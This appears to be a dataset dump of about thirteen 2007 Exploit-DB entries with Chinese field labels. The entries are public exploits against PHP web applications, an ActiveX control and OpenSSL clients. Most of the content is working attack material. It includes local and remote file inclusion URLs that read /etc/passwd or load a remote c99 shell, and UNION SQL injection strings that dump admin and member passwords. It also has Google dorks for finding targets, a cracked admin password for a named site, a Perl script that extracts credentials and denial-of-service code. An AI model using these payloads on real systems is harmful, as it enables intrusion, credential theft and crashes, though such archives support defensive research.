QLWD/code_shield huggingface dataset:
标题: PNPHPBB2 < 1.2i - 'PHPEx' Local File Inclusion EDB-ID: 4796 CVE: 2007-6624 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-26 漏洞利用脚本: .-----------------------------------------------------------------------------.
|  vuln.: PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.   |
|  download: http://www.pnphpbb.com/                                          |
|  dorks: Powered by PNphpBB2 / Powered por PNphpBB2                          |
|         inurl:"index.php?name=PNphpBB2"                                     |
|                                                                             |
|  author: irk4z@yahoo.pl                                                     |
|  homepage: http://irk4z.wordpress.com/                                      |
|                                                                             |
|  greets to: str0ke, wacky, polish under ;]                                  |
'-----------------------------------------------------------------------------'

# code:

  /printview.php:
  ...
      define('IN_PHPBB', true);
      $ModName = basename( dirname( __FILE__ ) );
      $phpbb_root_path = './modules/' . $ModName . '/';
      include($phpbb_root_path . 'extension.inc');
      include($phpbb_root_path . 'common.'.$phpEx);
  ...
  
  LFI in $phpEx :D:D:D
  
# sploit:

http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]

# milw0rm.com [2007-12-26] URL: https://www.exploit-db.com/exploits/4796
标题: SkyFex Client 1.0 - ActiveX 'Start()' Method Remote Stack Overflow EDB-ID: 4801 CVE: 2007-6605 类型: DOS 平台: WINDOWS 发布日期: 2007-12-28 漏洞利用脚本: <pre>
<code><span style="font: 8pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>SkyFex Client 1.0 "Start()" Method Remote Stack Overflow</b>
 url: https://skyfex.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b>Technical details:
 File: SkyFexClient.ocx
 Ver.: 1.0.2.77
 Codebase: https://skyfex.com//download/SkyFexClient.cab#Version=1,0,2,77
 Marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>

 <b>Registers dump:</b>
 EAX 007B5A8C
 ECX 0164224C
 EDX 033E0024 UNICODE "DDDD..."
 EBX 00000000
 ESP 01735244 ASCII "EEE"
 EBP 0173F414 ASCII "$A"
 ESI 008A8A8C
 EDI 033E0024 UNICODE "DDDD..."
 EIP 02A995E5 SkyFexCl.02A995E5

 <b>Stack dump:</b>
 01735244   00454545  IEXPLORE.00454545
 01735248   02A60045  RETURN to SkyFexCl.02A60045 from SkyFexCl.02A995C0
 0173524C   43434343  urlmon.43434343
 01735250   43434343  urlmon.43434343
 01735254   43434343  urlmon.43434343
 01735258   43434343  urlmon.43434343
 0173525C   43434343  urlmon.43434343
 ...

 'Sub start (
 '     ByVal id_client  As String , 
 '     ByVal ip_server  As String , 
 '  ByVal text_ser  As String , 
 '  ByVal url_page  As String , 
 '  ByVal bDebug  As Integer 
 ' )
 
 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:F84E0B64-1E86-4640-8094-5B38CEB28C1E' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   id_client = String(16676, "A")
   ip_server = String(2000, "B")
   text_ser = String(2000, "C")
   url_page = String(4539717, "D")
   bDebug = 484
       
   test.start id_client, ip_server, text_ser, url_page, bDebug
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-12-28] URL: https://www.exploit-db.com/exploits/4801
标题: Joomla! Component mosDirectory 2.3.2 - Remote File Inclusion EDB-ID: 4783 CVE: 2007-6555 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: --==+=================== Electronic Security Team (www.Yee7.com) =================+==--
--==+          Joomla Component mosDirectory 2.3.2 Remote File Inclusion          +==--
--==+=============================================================================+==--

Software:     Joomla Component mosDirectory 2.3.2
exploit:      Remote File Inclusion [High Risk]
By:           ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://www.box.net/shared/kdp2h6dbe1
txtShell:     http://yee7.com/shells/c99.txt

##############################

==============
Dork: priv8 ;)

PoC:
http://domain.com/joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://shell.txt?
###############################

by: ShockShadow
Thanks to: ArabHacker, Alyahmom, Trojan, Alakrb Almoftres, Qanas Alyahood, Kates-Ye
AND ALL Yee7.com members

# milw0rm.com [2007-12-24] URL: https://www.exploit-db.com/exploits/4783
标题: Agares phpAutoVideo 2.21 - Local/Remote File Inclusion EDB-ID: 4782 CVE: 2007-6615 2007-6614 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

    Remote File Inclusion + Local File Inclusion

---------------------------------------------------------------

# Author: MhZ91
# Title: Agares PhpAutoVideo v2.21 - Remote File Inclusion + Local File Inclusion
# Download: http://scriptmafia.org/2007/12/19/agares_phpautovideo_v2.21.html
# Bug: Remote File Inclusion + Local File Inclusion
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

Local File Inclusion:

http://[site]/includes/block.php?selected_provider=[LFI]%00

---------------------------------------------------------------

Remote File Inclusion

http://[site]/admin/frontpage_right.php?loadadminpage=[Evil_Code]

---------------------------------------------------------------

# milw0rm.com [2007-12-24] URL: https://www.exploit-db.com/exploits/4782
标题: MeGaCheatZ 1.1 - Multiple SQL Injections EDB-ID: 4778 CVE: 2007-6557 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

 Multiple Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91 
# Title: MeGaCheatZ v1.1 - Remote Sql Injection
# Download: http://scriptmafia.org/2007/12/19/megacheatz_1.1.html
# Bug: Remote Sql Injection 
# Visit: http://www.inj3ct-it.org
# Info: MeGaCheatZ v1.1 is a full-fledged computer game cheats script. This script could VERY EASILY be an entire web-site. It's 100% cgi/php/template driven. It contains a script that will pull all of the latest PC games cheats FOR you! It also has manual submission and removal! This script does ALL of the work for you. Visitors can even search for specific games!

---------------------------------------------------------------

http://[site]/comments.php?ItemID=-1+union+select+concat(AdminID,char(58),AdminPass,char(58),AdminName,char(58),AdminEmail)+from+dd_admin/*

http://[site]/view.php?ItemID='+union+select+1,2,3,4,concat(AdminID,char(58),AdminPass,char(58),AdminName,char(58),AdminEmail),6,7,8,9,10+from+dd_admin/*

http://[site]/siteadmin/ViewItem.php?ItemID='+union+select+1,2,3,4,concat(AdminID,char(58),AdminPass,char(58),AdminName,char(58),AdminEmail),6,7,8,9,10,11,12,13,14,15,16,17,18+from+dd_admin/*

And other more... 

Whit this u get  AdminID:AdminPass:AdminName:AdminEmail 

If u want get username:password:email of members, use this

http://[site]/comments.php?ItemID=-1+union+select+concat(username,char(58),password,char(58),email)+from+dd_users+where+UserID=[UserID]/*

http://[site]/view.php?ItemID='+union+select+1,2,3,4,concat(username,char(58),password,char(58),email),6,7,8,9,10+from+dd_users+where+UserID=[UserID]/*

http://[site]/siteadmin/ViewItem.php?ItemID='+union+select+1,2,3,4,concat(username,char(58),password,char(58),email),6,7,8,9,10,11,12,13,14,15,16,17,18+from+dd_users+where+UserID=[UserID]/*

And change [UserID] whit number id of member.. 

Bye.. visit http://www.inj3ct-it.org !!

---------------------------------------------------------------

# milw0rm.com [2007-12-24] URL: https://www.exploit-db.com/exploits/4778
标题: zBlog 1.2 - SQL Injection EDB-ID: 4772 CVE: 2007-6577 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-22 漏洞利用脚本: #########################################################################
            zBlog v1.2  Remote SQL Injection Exploit
#########################################################################


## AUTHOR     : H-T Team ( HouSSamix _ ToXiC350 _ CoNaN )
## HOME     : http://no-hack.net

## Script         : zBlog
## Version    : 1.2 
## Site         : http://kaxz01.free.fr/
## Download    : http://kaxz01.free.fr/fichiers/zBlog.zip

## EXPLOITS :

[1]
http://server.com/Path/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20[table prefix]_admins--
[2]
http://server.com/Path/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20[table prefix]_admins--

[table prefix] = by default it is zblog

ex : http://Site.com/zBlog/index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdepasse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--

## Note
admin login is at /admin/

## GREETZ  :  RoMaNcYxHaCkEr , Mahmood_Ali , C_m  and all musulmans hackers

#########################################################################
            zBlog v1.2 Remote SQL Injection Exploit
#########################################################################

exemple of site vulnerable

http://www.xxx.org/zblog/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20zblog_admins--


account admin with password md5 cracked

user >> Selim
pass >> 6a81060b83b919bc115112bf840eca63 = miles

# milw0rm.com [2007-12-22] URL: https://www.exploit-db.com/exploits/4772
标题: OpenSSL < 0.9.7l/0.9.8d - SSLv2 Client Crash EDB-ID: 4773 CVE: 2006-4343 类型: DOS 平台: MULTIPLE 发布日期: 2007-12-23 漏洞利用脚本: #!/usr/bin/perl
# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM's SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;
 
my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());

while ( $new_sock = $sock->accept() )
{
 printf ("new connection\n");
 my $rin;
 my $line;
 my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);

 my $ciphers = "";
 my $ciphers_length = pack('n', length($ciphers));

 my $certificate = "";
 my $certificate_length = pack('n', length($certificate));

 my $packet_sslv2 =
"\x04".
"\x01". # Hit (default 0x01)

"\x00". # No certificate

"\x00\x02".
$certificate_length.
$ciphers_length.
"\x00\x10".
# Certificate
$certificate.
# Done
# Ciphers
$ciphers.
# Done
"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";

 my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
 $packet_sslv2 = $ssl_length . $packet_sslv2;

 print $new_sock $packet_sslv2;

 close($new_sock);
}

# milw0rm.com [2007-12-23] URL: https://www.exploit-db.com/exploits/4773
标题: MMSLamp - 'idpro' SQL Injection EDB-ID: 4776 CVE: 2007-6575 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-23 漏洞利用脚本: Name            :  mmsLamp SQL Injection Vulnerability.
Author          :  x0kster
Email           :  x0kster@gmail.com
Script Page     :  http://www.brand039.com/?service=prodotti_dettaglio&idpro=4
Date            :  22/12/2007
Bug in          :  default.php
PoC             :  http://site.com/default.php?service=prodotti_dettaglio&idpro=[SQL]

Example: 

http://www.brand039.com/default.php?service=prodotti_dettaglio&idpro=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(username,0x3a,password,0x3a,nome,0x3a,cognome,0x3a,azienda,0x3a,email),20,21,22+from+mms_extranet_utenti+where+id=1/*

# milw0rm.com [2007-12-23] URL: https://www.exploit-db.com/exploits/4776
标题: Adult Script 1.6.5 - Multiple SQL Injections EDB-ID: 4775 CVE: 2007-6576 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-23 漏洞利用脚本: ---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

 Multiple Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91 
# Title: Adult Script - Remote Sql Injection
# Download: http://adultscript.net/ 
# Bug: Remote Sql Injection 
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/videolink_count.php?id=-1+union+select+concat(admin_user,char(58),admin_pass,char(58),admin_email)+from+admin

http://[site]/links.php?id=-1+union+select+concat(admin_user,char(58),admin_pass,char(58),admin_email)+from+admin

Whit this u get user:password:email in the page of the error or in the url of the browser :D 

Tested on the official demo site http://adultscript.net/demo/ and it work very good! 

---------------------------------------------------------------

# milw0rm.com [2007-12-23] URL: https://www.exploit-db.com/exploits/4775
标题: WebSihirbazi 5.1.1 - 'pageid' SQL Injection EDB-ID: 4777 CVE: 2007-6556 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: _________________________________________________________________________________
 ||----------------------------------------------------------------------
 |# Title : websihirbazi v5.1.1 Remote Blind SQL Injection Vulnerability|
 ||----------------------------------------------------------------------
 |# AUTHOR: bypas |
 ||----------------------------------------------------------------------
 |# script name : websihirbazi v5.1.1  | 200$ |
 ||----------------------------------------------------------------------
 |# scritp web page : http://www.sitehazirla.org |
 ||----------------------------------------------------------------------
 |# script admin panel : http://victim/script_path/yonetim |
 ||----------------------------------------------------------------------
 |# Google dork : |Powered By WebSihirbazÄ±
 ||----------------------------------------------------------------------
 |# Message Tr : Hayat Ä°llegal - / - bir daha taklit iÅŸ yapmayÄ±n emege saygÄ±lÄ± olun |
 ||----------------------------------------------------------------------
_________________________________________________________________________________

< / ----------------------------------------------------------------------------- />


< / ------   Example sql bug  :   ------ / > 


http://[target]/[script_path]/default.asp?page=news&id=-2+union+all+select+0,kullaniciadi,sifre,3+from+user


http://[target]/[script_path]/default.asp?pageid=-7+union+all+select+0,1,2,kullaniciadi,sifre,5+from+user


< / ----------------------------------------------------------------------------- />

# milw0rm.com [2007-12-24] URL: https://www.exploit-db.com/exploits/4777
标题: PHP ZLink 0.3 - 'go.php' SQL Injection EDB-ID: 4774 CVE: 2007-6578 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-23 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[3])
{
  print "\n                         \\#'#/                    ";
  print "\n                         (-.-)                     ";
  print "\n   -----------------oOO---(_)---OOo----------------";
  print "\n   | PHP ZLink v0.3 (go.php) Remote SQL Injection |";
  print "\n   |                 coded by DNX                 |";
  print "\n   ------------------------------------------------";
  print "\n[!] Discovered.: DNX";
  print "\n[!] Vendor.....: http://www.zeak.net";
  print "\n[!] Detected...: 28.10.2007";
  print "\n[!] Reported...: 28.10.2007";
  print "\n[!] Response...: 29.10.2007";
  print "\n";
  print "\n[!] Background.: PHP ZLink is a free short Url Redirection Script";
  print "\n";
  print "\n[!] Bug........: \$id in go.php";
  print "\n";
  print "\n                 line 25: \$id = \$_GET['id']";
  print "\n";
  print "\n                 line 28: SELECT url FROM \$table WHERE id = \$id";
  print "\n";
  print "\n[!] Solution...: Upgrade to PHP ZLink v1.0";
  print "\n";
  print "\n[!] Usage......: perl zlink.pl [Host] [Path] <Options>";
  print "\n[!] Example....: perl zlink.pl 127.0.0.1 /zlink/ -id 1";
  print "\n[!] Options....:";
  print "\n       -id [no]      Valid ID";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $table   = "admin";
my $id      = 0;
my %options = ();
GetOptions(\%options, "id=i", "p=s");

print "[!] Exploiting...\n";

if($options{"id"})
{
  exploit($options{"id"});
}
else
{
  print "[!] Exploit failed, missing parameter\n";
  exit;
}

print "\n[!] Exploit done\n";

sub exploit
{
  my $id     = shift;
  my $url    = "http://".$host.$path."go.php?id=".$id."%20union%20select%20concat(username,0x2f,password)%20from%20admin";
  my $regexp = "<iframe(.*)src=\"(.*)\"><\/iframe>";
  
  my $ua = LWP::UserAgent->new;
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  @content = split(/\n/, $content);
  $found = 0;
  
  foreach (@content)
  {
    if($_ =~ /$regexp/ && $2 !~ /http/)
    {
      ($user, $pass) = split(/\//, $2);
      print "User/Password: ".$user."/".$pass."\n";
      $found = 1;
    }
  }
  
  if(!$found)
  {
    $count = 2;
    $noendless = 20;
    while($count < $noendless)
    {
      $response = $ua->get($url."%20limit%20".$count++);
      if($tmp eq $response->base)
      {
        $count = $noendless;
      }
      else
      {        
        $tmp = $response->base;
        ($x, $y) = split(/$host$path/, $tmp);
        print "User/Password: ".$y."\n";
      }
    }
  }
}

# milw0rm.com [2007-12-23] URL: https://www.exploit-db.com/exploits/4774
标题: Wallpaper Site 1.0.09 - 'category.php' SQL Injection EDB-ID: 4770 CVE: 2007-6580 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-22 漏洞利用脚本: #    .__                                          __.   
#    NN)    NNNN   JNNN` NNNN.   NNN NNNNNNNNNNN  NN)   
#    NN)    `NNN).NNNF  .NNNNN  (NN) """4NNN"""`  NN)   
#    NN)     (NNNNNN`   (NNNNN) NNN     (NNN      NN)   
#    NN)      4NNNN`    NNN(NNN.NNF     NNN)      NN)   
#    NN)     JNNNNL    (NN) NNNNNN)    (NNN       NN)   
#    NN)    JNNNNNN)   JNN` `NNNNN     JNNF       NN)   
#    NN)  .NNNF (NNN.  NNN   4NNN)     NNN)       NN)   
#    NN) JNNN`   NNNN (NN)    NNN`    (NNN        NN)   
#    NN)                                          NN)  
#    .__           http://xaker.name              __.
#
#
# script name      : Wallpaper site 1.0.09
# GoogLe Dork      : Powered by EasySiteNetwork 
# Of. site         : http://www.easysitenetwork.com/
# The price        : ?
# Risk             : Average
# Found By         : Koller
# Thanks           : all members xaker.name & grabberz.com
# Vulnerable files : category.php, editadgroup.php

# Vuln : www.victim.com/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password),444+from+admin_login/*
#        www.victim.com/category.php?catid=1+union+select+111,222,concat_ws(char(58),login,password,email),444+from+users/*
#
# Admin panel: www.victim.com/siteadmin/index.php
#
# Addon :) - sql-injection in editadgroup.php - www.victim.com/siteadmin/editadgroup.php?groupid=2 union select 111,222/*

# P.s. Happy New Year 8)
#
# Contact: K0ller (at) hotmail (dot) CoM

# milw0rm.com [2007-12-22] URL: https://www.exploit-db.com/exploits/4770
标题: xeCMS 1.x - 'view.php' Remote File Disclosure EDB-ID: 4758 CVE: 2007-6508 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-19 漏洞利用脚本: --------------------------------------------------------------
xeCMS 1.x.x Remote File Disclosure Vulnerability.
--------------------------------------------------------------

download    : http://xecms.sunsite.dk/
author      : p4imi0
contact     : p4imi0@gmail.com
exploit     : view.php?list=..%2F..%2F.. %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
google dork : inurl:"view.php?list=" Powered by xeCMS
thanks to   : str0ke, Cr[]w.

# milw0rm.com [2007-12-19] URL: https://www.exploit-db.com/exploits/4758